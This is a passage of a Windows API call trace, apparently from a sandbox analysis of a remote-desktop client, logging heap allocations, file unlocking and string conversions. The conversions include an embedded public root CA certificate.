HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe25718 | out: hHeap=0x3b0000) returned 1 [0193.906] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37148 | out: hHeap=0x3b0000) returned 1 [0193.907] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b2d0 | out: hHeap=0x3b0000) returned 1 [0193.907] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37310 | out: hHeap=0x3b0000) returned 1 [0193.907] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe120a8 | out: hHeap=0x3b0000) returned 1 [0193.907] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe48a90 | out: hHeap=0x3b0000) returned 1 [0193.907] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32238 | out: hHeap=0x3b0000) returned 1 [0193.907] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe48aa8 | out: hHeap=0x3b0000) returned 1 [0193.907] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f678 | out: hHeap=0x3b0000) returned 1 [0193.907] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe37358 | out: hHeap=0x3b0000) returned 1 [0193.907] UnlockFileEx (in: hFile=0x20c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2a7b3b0 | out: lpOverlapped=0x2a7b3b0) returned 1 [0193.908] CloseHandle (hObject=0x20c) returned 1 [0193.909] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0193.909] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe337b8 [0193.909] GetCurrentThreadId () returned 0xa0c [0193.909] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15f60 | out: hHeap=0x3b0000) returned 1 [0193.910] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f58 | out: hHeap=0x3b0000) returned 1 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0xe10ab0 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47c30 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47c10 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37358 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4c) returned 0xe120a8 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37310 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe337d8 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe37148 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe37238 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe337f8 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x100) returned 0xe49800 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33bd8 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe47c20 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47d50 [0193.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c7a0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0193.910] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe32f58 [0193.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0c7a0, cbMultiByte=-1, lpWideCharStr=0xe32f58, cchWideChar=19 | out: lpWideCharStr="ad.anynet.ca_certs") returned 19 [0193.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0193.911] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47cc0 [0193.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe47cc0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0193.911] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47d50 | out: hHeap=0x3b0000) returned 1 [0193.911] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e34) returned 0xe4e130 [0193.911] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe47cc0 | out: hHeap=0x3b0000) returned 1 [0193.911] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f58 | out: hHeap=0x3b0000) returned 1 [0193.911] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e34) returned 0xe4ff70 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48a90 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xf0e) returned 0xe51db0 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x68) returned 0xe20ef0 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32238 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48aa8 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47cc0 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33c38 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33c58 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48ac0 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe48ad8 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47d50 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48af0 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48b08 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33c78 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33c98 [0193.912] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48b20 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe48b38 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe48b50 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47d70 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48b68 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47da0 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48b80 [0193.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="-----BEGIN CERTIFICATE-----\nMIIFYzCCA0ugAwIBAgIJAIf7DQy3sYvoMA0GCSqGSIb3DQEBBQUAMEgxFzAVBgNV\nBAMMDkFueU5ldCBSb290IENBMSAwHgYDVQQKDBdwaGlsYW5kcm8gU29mdHdhcmUg\nR21iSDELMAkGA1UEBhMCREUwHhcNMTQwNDExMDIzNzU1WhcNMjQwNDA4MDIzNzU1\nWjBIMRcwFQYDVQQDDA5BbnlOZXQgUm9vdCBDQTEgMB4GA1UECgwXcGhpbGFuZHJv\nIFNvZnR3YXJlIEdtYkgxCzAJBgNVBAYTAkRFMIICIjANBgkqhkiG9w0BAQEFAAOC\nAg8AMIICCgKCAgEAtBVBDdoa01og/vnfvwqM8aSt79RUlufigrcNAOrxN+LXjKEW\nO6BoCDiqbdsmvqZpkzaojh5w3KyBHuLdFoM0tRVw9YrNne5dgHxaeKIHpK7m+NYx\n+lx7u+Ba61Evl7/2+zMnkLPY5ODNaDtqh2ymDefYvWHfVmsq4Rwr9Z+/hd2MWwYe\ncX+6SqZAsHcX6iw/W5QUhS6tEWGriPYBu7NHa+KBGPGOOebYewxjhoOscIR1Jy01\nPXt7qM6ySHkIOC2CJn6TSzJ2ZoWn/crxCi/HYg9qQP4aa1gcU+RjwXWDmqt4BEmD\nH+cjcJ+jv2jRMy9M3l6GmH1hfQE09Zzpy0FrrlArZ9XZ8gL8X6NSNLncZ+/6c8WU\nQOq1iveY7Oibu4ZsbzY3ioCMn4T2ykp2InKNUn2FdU1V762v8+UWIwBb6Lbtfp8u\ngEvu1V/cZemJ3NumQwS7zv2pTC8ZM6rmcSCG/kWLl+bIHU9wusfAw/Om8trCpBvd\niU7sHNp7JI+qQvkUMoNoY8gmvOwTsw0L4rYIxsYGfqMWbxXSGxZSPB8ikSUXFcxC\ngto7qDnHKlDK2UygjJUzdQNwuN+gybKyixs4g3kywxLaM5ZC9JERqsYmMbzqQ4ow\nVGXFQ55QO/qRkw6dOyNKPUPBxiKbaK8v/AGAUhgFIg69auQuydbsxY/zE7MCAwEA\nAaNQME4wHQYDVR0OBBYEFBlleQaAxt6yqliZV7I2XO0BYo1HMB8GA1UdIwQYMBaA\nFBlleQaAxt6yqliZV7I2XO0BYo1HMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEF\nBQADggIBALOqRxekr9JgNBWtJdWOKF7BqrGNMFabR3by4CBUBj3xI8Lvu6Hyn+Or\nDAa/VF4MGjVWbeGTS8WZX5CGflKDlKCgRzby/PLCTXDJyW40XKcPBP3rFl6KvoY7\noAxzf6P1Xz0rxUEMZwrjSCvKYvapmh7J5ES8F/nbXEWYCWnsyGPvhSlOce35maxJ\nIIqQvFmO8fOlmZkS46d75Wg0q1NarfFEyrp/wqZzkhDqjLHGydXkXisPHkqT+W1M\nBoWQZVHTicwuomu15PDqNzWpfcDLhxIycpMhUYEdowzKlviB9JKgr/cZJPPmzeoR\nKcnxKR2yKxgatKPAWMRwOXiniNd0MsKAYoNY47Q+JbhWLGB3UiWqYTLRl413JDQk\nxdvy3WHI7WNXDsJw5R9S3WxvOLLa7Z2nL4f6s3DlZE35wwLVRtofy/BYIPxElvDK\ntps55s8n0CyZdNTK3keI7d/3nDusimLSdZDZAIHT+MJHjpq9h23O5Zp/KHakd8Y/\nub9N8cvfDyxz/rRg4yZeg/KuNlaU6aedoT3KXW49Xahv8qWP855ohSfs6WeFNBYN\nRTQUjgcMeyVRVPM/oSrvmheeUd4WZPvd4ciUCYw5u3dz1Ga7SStc+itXi2at96hw\nO4+eCXHeEi7tAhBM1Wcecv86PjRtkmA9RF70IWDubC46cxrDJmr0\n-----END CERTIFICATE-----", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1927 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x787) returned 0xe4a9a0 [0193.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="-----BEGIN CERTIFICATE-----\nMIIFYzCCA0ugAwIBAgIJAIf7DQy3sYvoMA0GCSqGSIb3DQEBBQUAMEgxFzAVBgNV\nBAMMDkFueU5ldCBSb290IENBMSAwHgYDVQQKDBdwaGlsYW5kcm8gU29mdHdhcmUg\nR21iSDELMAkGA1UEBhMCREUwHhcNMTQwNDExMDIzNzU1WhcNMjQwNDA4MDIzNzU1\nWjBIMRcwFQYDVQQDDA5BbnlOZXQgUm9vdCBDQTEgMB4GA1UECgwXcGhpbGFuZHJv\nIFNvZnR3YXJlIEdtYkgxCzAJBgNVBAYTAkRFMIICIjANBgkqhkiG9w0BAQEFAAOC\nAg8AMIICCgKCAgEAtBVBDdoa01og/vnfvwqM8aSt79RUlufigrcNAOrxN+LXjKEW\nO6BoCDiqbdsmvqZpkzaojh5w3KyBHuLdFoM0tRVw9YrNne5dgHxaeKIHpK7m+NYx\n+lx7u+Ba61Evl7/2+zMnkLPY5ODNaDtqh2ymDefYvWHfVmsq4Rwr9Z+/hd2MWwYe\ncX+6SqZAsHcX6iw/W5QUhS6tEWGriPYBu7NHa+KBGPGOOebYewxjhoOscIR1Jy01\nPXt7qM6ySHkIOC2CJn6TSzJ2ZoWn/crxCi/HYg9qQP4aa1gcU+RjwXWDmqt4BEmD\nH+cjcJ+jv2jRMy9M3l6GmH1hfQE09Zzpy0FrrlArZ9XZ8gL8X6NSNLncZ+/6c8WU\nQOq1iveY7Oibu4ZsbzY3ioCMn4T2ykp2InKNUn2FdU1V762v8+UWIwBb6Lbtfp8u\ngEvu1V/cZemJ3NumQwS7zv2pTC8ZM6rmcSCG/kWLl+bIHU9wusfAw/Om8trCpBvd\niU7sHNp7JI+qQvkUMoNoY8gmvOwTsw0L4rYIxsYGfqMWbxXSGxZSPB8ikSUXFcxC\ngto7qDnHKlDK2UygjJUzdQNwuN+gybKyixs4g3kywxLaM5ZC9JERqsYmMbzqQ4ow\nVGXFQ55QO/qRkw6dOyNKPUPBxiKbaK8v/AGAUhgFIg69auQuydbsxY/zE7MCAwEA\nAaNQME4wHQYDVR0OBBYEFBlleQaAxt6yqliZV7I2XO0BYo1HMB8GA1UdIwQYMBaA\nFBlleQaAxt6yqliZV7I2XO0BYo1HMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEF\nBQADggIBALOqRxekr9JgNBWtJdWOKF7BqrGNMFabR3by4CBUBj3xI8Lvu6Hyn+Or\nDAa/VF4MGjVWbeGTS8WZX5CGflKDlKCgRzby/PLCTXDJyW40XKcPBP3rFl6KvoY7\noAxzf6P1Xz0rxUEMZwrjSCvKYvapmh7J5ES8F/nbXEWYCWnsyGPvhSlOce35maxJ\nIIqQvFmO8fOlmZkS46d75Wg0q1NarfFEyrp/wqZzkhDqjLHGydXkXisPHkqT+W1M\nBoWQZVHTicwuomu15PDqNzWpfcDLhxIycpMhUYEdowzKlviB9JKgr/cZJPPmzeoR\nKcnxKR2yKxgatKPAWMRwOXiniNd0MsKAYoNY47Q+JbhWLGB3UiWqYTLRl413JDQk\nxdvy3WHI7WNXDsJw5R9S3WxvOLLa7Z2nL4f6s3DlZE35wwLVRtofy/BYIPxElvDK\ntps55s8n0CyZdNTK3keI7d/3nDusimLSdZDZAIHT+MJHjpq9h23O5Zp/KHakd8Y/\nub9N8cvfDyxz/rRg4yZeg/KuNlaU6aedoT3KXW49Xahv8qWP855ohSfs6WeFNBYN\nRTQUjgcMeyVRVPM/oSrvmheeUd4WZPvd4ciUCYw5u3dz1Ga7SStc+itXi2at96hw\nO4+eCXHeEi7tAhBM1Wcecv86PjRtkmA9RF70IWDubC46cxrDJmr0\n-----END CERTIFICATE-----", cchWideChar=-1, lpMultiByteStr=0xe4a9a0, cbMultiByte=1927, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-----BEGIN CERTIFICATE-----\nMIIFYzCCA0ugAwIBAgIJAIf7DQy3sYvoMA0GCSqGSIb3DQEBBQUAMEgxFzAVBgNV\nBAMMDkFueU5ldCBSb290IENBMSAwHgYDVQQKDBdwaGlsYW5kcm8gU29mdHdhcmUg\nR21iSDELMAkGA1UEBhMCREUwHhcNMTQwNDExMDIzNzU1WhcNMjQwNDA4MDIzNzU1\nWjBIMRcwFQYDVQQDDA5BbnlOZXQgUm9vdCBDQTEgMB4GA1UECgwXcGhpbGFuZHJv\nIFNvZnR3YXJlIEdtYkgxCzAJBgNVBAYTAkRFMIICIjANBgkqhkiG9w0BAQEFAAOC\nAg8AMIICCgKCAgEAtBVBDdoa01og/vnfvwqM8aSt79RUlufigrcNAOrxN+LXjKEW\nO6BoCDiqbdsmvqZpkzaojh5w3KyBHuLdFoM0tRVw9YrNne5dgHxaeKIHpK7m+NYx\n+lx7u+Ba61Evl7/2+zMnkLPY5ODNaDtqh2ymDefYvWHfVmsq4Rwr9Z+/hd2MWwYe\ncX+6SqZAsHcX6iw/W5QUhS6tEWGriPYBu7NHa+KBGPGOOebYewxjhoOscIR1Jy01\nPXt7qM6ySHkIOC2CJn6TSzJ2ZoWn/crxCi/HYg9qQP4aa1gcU+RjwXWDmqt4BEmD\nH+cjcJ+jv2jRMy9M3l6GmH1hfQE09Zzpy0FrrlArZ9XZ8gL8X6NSNLncZ+/6c8WU\nQOq1iveY7Oibu4ZsbzY3ioCMn4T2ykp2InKNUn2FdU1V762v8+UWIwBb6Lbtfp8u\ngEvu1V/cZemJ3NumQwS7zv2pTC8ZM6rmcSCG/kWLl+bIHU9wusfAw/Om8trCpBvd\niU7sHNp7JI+qQvkUMoNoY8gmvOwTsw0L4rYIxsYGfqMWbxXSGxZSPB8ikSUXFcxC\ngto7qDnHKlDK2UygjJUzdQNwuN+gybKyixs4g3kywxLaM5ZC9JERqsYmMbzqQ4ow\nVGXFQ55QO/qRkw6dOyNKPUPBxiKbaK8v/AGAUhgFIg69auQuydbsxY/zE7MCAwEA\nAaNQME4wHQYDVR0OBBYEFBlleQaAxt6yqliZV7I2XO0BYo1HMB8GA1UdIwQYMBaA\nFBlleQaAxt6yqliZV7I2XO0BYo1HMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEF\nBQADggIBALOqRxekr9JgNBWtJdWOKF7BqrGNMFabR3by4CBUBj3xI8Lvu6Hyn+Or\nDAa/VF4MGjVWbeGTS8WZX5CGflKDlKCgRzby/PLCTXDJyW40XKcPBP3rFl6KvoY7\noAxzf6P1Xz0rxUEMZwrjSCvKYvapmh7J5ES8F/nbXEWYCWnsyGPvhSlOce35maxJ\nIIqQvFmO8fOlmZkS46d75Wg0q1NarfFEyrp/wqZzkhDqjLHGydXkXisPHkqT+W1M\nBoWQZVHTicwuomu15PDqNzWpfcDLhxIycpMhUYEdowzKlviB9JKgr/cZJPPmzeoR\nKcnxKR2yKxgatKPAWMRwOXiniNd0MsKAYoNY47Q+JbhWLGB3UiWqYTLRl413JDQk\nxdvy3WHI7WNXDsJw5R9S3WxvOLLa7Z2nL4f6s3DlZE35wwLVRtofy/BYIPxElvDK\ntps55s8n0CyZdNTK3keI7d/3nDusimLSdZDZAIHT+MJHjpq9h23O5Zp/KHakd8Y/\nub9N8cvfDyxz/rRg4yZeg/KuNlaU6aedoT3KXW49Xahv8qWP855ohSfs6WeFNBYN\nRTQUjgcMeyVRVPM/oSrvmheeUd4WZPvd4ciUCYw5u3dz1Ga7SStc+itXi2at96hw\nO4+eCXHeEi7tAhBM1Wcecv86PjRtkmA9RF70IWDubC46cxrDJmr0\n-----END CERTIFICATE-----", lpUsedDefaultChar=0x0) returned 1927 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0xe10af8 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe48b98 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe48bb0 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe48bc8 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe48be0 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe32f58 [0193.913] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x158) returned 0xe48e78 [0193.913] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0xe48e78, Size=0x218) returned 0xe52cc8 [0193.913] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0xe52cc8, Size=0x31c) returned 0xe49d00 [0193.913] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0xe49d00, Size=0x474) returned 0xe4b130 [0193.913] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0xe4b130, Size=0x628) returned 0xe52cc8 [0193.914] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0xe52cc8, Size=0x884) returned 0xe52cc8 [0193.914] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x558) returned 0xe4b130 [0193.914] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe48bb0 | out: hHeap=0x3b0000) returned 1 [0193.914] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe48be0 | out: hHeap=0x3b0000) returned 1 [0193.914] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe48bc8 | out: hHeap=0x3b0000) returned 1 [0193.914] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f58 | out: hHeap=0x3b0000) returned 1 [0193.915] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b130 | out: hHeap=0x3b0000) returned 1 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48bc8 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe47de0 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe48be0 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe33cb8 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x9) returned 0xe48bb0 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe47d60 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33cd8 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48bf8 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33cf8 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48c10 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48c28 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48c40 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe33d18 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3) returned 0xe47cb0 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xf) returned 0xe48c58 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33d38 [0193.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48c70 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48c88 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48ca0 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe33d58 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3) returned 0xe47cf0 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe33d78 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33d98 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48cb8 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48cd0 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48ce8 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe33db8 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3) returned 0xe47d20 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3) returned 0xe47db0 [0193.916] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe48ad8 | out: hHeap=0x3b0000) returned 1 [0193.916] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe48ac0 | out: hHeap=0x3b0000) returned 1 [0193.916] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33c58 | out: hHeap=0x3b0000) returned 1 [0193.916] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33c38 | out: hHeap=0x3b0000) returned 1 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33c38 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33c58 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48ac0 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe48ad8 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20390 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33dd8 [0193.916] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48d00 [0193.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33df8 [0193.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48d18 [0193.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48d30 [0193.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe48d48 [0193.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe33e18 [0193.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3) returned 0xe47dd0 [0193.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xf) returned 0xe48d60 [0193.917] GetLastError () returned 0x0 [0193.917] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0xe4a250, Size=0x218) returned 0xe49d00 [0193.917] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0xe49d00, Size=0x31c) returned 0xe49d00 [0193.918] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0xe49d00, Size=0x474) returned 0xe538b0 [0193.918] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0xe538b0, Size=0x628) returned 0xe538b0 [0193.918] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0xe538b0, Size=0x884) returned 0xe53ee0 [0193.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x558) returned 0xe538b0 [0193.918] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b250 | out: hHeap=0x3b0000) returned 1 [0193.918] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b280 | out: hHeap=0x3b0000) returned 1 [0193.918] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b268 | out: hHeap=0x3b0000) returned 1 [0193.918] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f58 | out: hHeap=0x3b0000) returned 1 [0193.919] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe538b0 | out: hHeap=0x3b0000) returned 1 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b268 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49330 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe4b280 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe02dc0 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x9) returned 0xe4b250 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe49340 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe02d00 [0193.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe4b298 [0193.919] RtlAllocateHeap 